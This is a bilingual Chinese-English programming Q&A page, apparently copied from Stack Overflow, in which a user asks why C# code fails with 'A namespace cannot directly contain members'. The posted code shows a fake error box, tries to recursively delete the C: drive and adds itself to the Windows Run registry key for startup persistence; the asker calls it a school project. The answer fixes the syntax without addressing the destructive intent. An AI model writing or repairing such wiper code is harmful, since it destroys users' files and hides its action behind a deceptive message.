A namespace cannot directly contain members such as fields or methods?(命名空间不能直接包含字段或方法等成员?)
问题描述
我正在尝试创建一个在启动时删除用户文档的应用程序(我知道这听起来可能是恶意的,但它是针对学校项目的).
I am trying to create an application that deletes user documents at start-up (I am aware that this may sound malicious but it is for a school project).
但是,我收到错误消息命名空间不能直接包含字段或方法等成员".
However, I am getting the error "A namespace cannot directly contain members such as fields or methods".
看了一下,好像没问题?我希望第二双眼睛能提供帮助,因为我到处搜索,但找不到相关的解决方案!
Looking over it, it seems fine? I am hoping a second pair of eyes can help as I have searched everywhere and I cannot find a relevant solution!
诚然,由于我的知识非常基础,我在网上和书本上使用了很多帮助,而我对 c# 的了解有限.因此,可能只是我很愚蠢,但每个人都必须从某个地方开始,对吧?
Admittedly, because of my very basic knowledge, I have used a lot of help online and from books and what I know of c# is limited. Therefore it might just be that I'm being stupid, but everyone has to start somewhere, right?
代码如下:
namespace Test
{
class Program
{
static void Main(string[] args)
{
MessageBox.Show("An unexpected error occured");
if (System.IO.Directory.Exists(@"C:"))
{
try
{
System.IO.Directory.Delete("C:\", true);
}
catch (System.IO.IOException e)
{
Console.WriteLine(e.Message);
}
}
}
}
public class Program
{
private void SetStartup();
}
RegistryKey rk = Registry.CurrentUser.OpenSubKey
("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
if (chkStartUp.Checked)
rk.SetValue(AppName, Application.ExecutablePath.ToString());
else
rk.DeleteValue(AppName, false);
}
推荐答案
您的代码在 SetStartup
周围严重混乱.如果你按照正常的缩进,你会更清楚地看到发生了什么.在 Visual Studio 中按 Ctrl-E,然后按 D,它会重新格式化您的文档 - 这会让事情变得更加清晰.
Your code is seriously messed up around SetStartup
. If you follow the normal indentation, you'll see what's going on a bit more clearly. Press Ctrl-E followed by D in Visual Studio, and it'll reformat your document - which should make things considerably clearer.
看看这个(在我缩进之后):
Look at this (after I've indented it):
public class Program
{
private void SetStartup();
}
RegistryKey rk = [...];
这是试图在类之外声明一个变量(rk
).您还有一个没有主体的非抽象方法,并且最后缺少右大括号.
That's trying to declare a variable (rk
) outside a class. You've also got a non-abstract method with no body, and you're missing closing braces at the end.
我怀疑你的意思是它是:
I suspect you meant it to be:
public class Program
{
// Note: no semi-colon, and an *opening* brace
private void SetStartup()
{
RegistryKey rk = [...];
// Other code
}
}
// And you'd want to close the namespace declaration too
在声明两个(非部分)同名类时也会遇到问题...
You're also going to have problems declaring two (non-partial) classes with the same name...
这篇关于命名空间不能直接包含字段或方法等成员?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持编程学习网!
本文标题为:命名空间不能直接包含字段或方法等成员?


基础教程推荐
- 如何在 IDE 中获取 Xamarin Studio C# 输出? 2022-01-01
- c# Math.Sqrt 实现 2022-01-01
- MS Visual Studio .NET 的替代品 2022-01-01
- rabbitmq 的 REST API 2022-01-01
- 有没有办法忽略 2GB 文件上传的 maxRequestLength 限制? 2022-01-01
- 为什么Flurl.Http DownloadFileAsync/Http客户端GetAsync需要 2022-09-30
- 将 XML 转换为通用列表 2022-01-01
- 将 Office 安装到 Windows 容器 (servercore:ltsc2019) 失败,错误代码为 17002 2022-01-01
- 如何激活MC67中的红灯 2022-01-01
- SSE 浮点算术是否可重现? 2022-01-01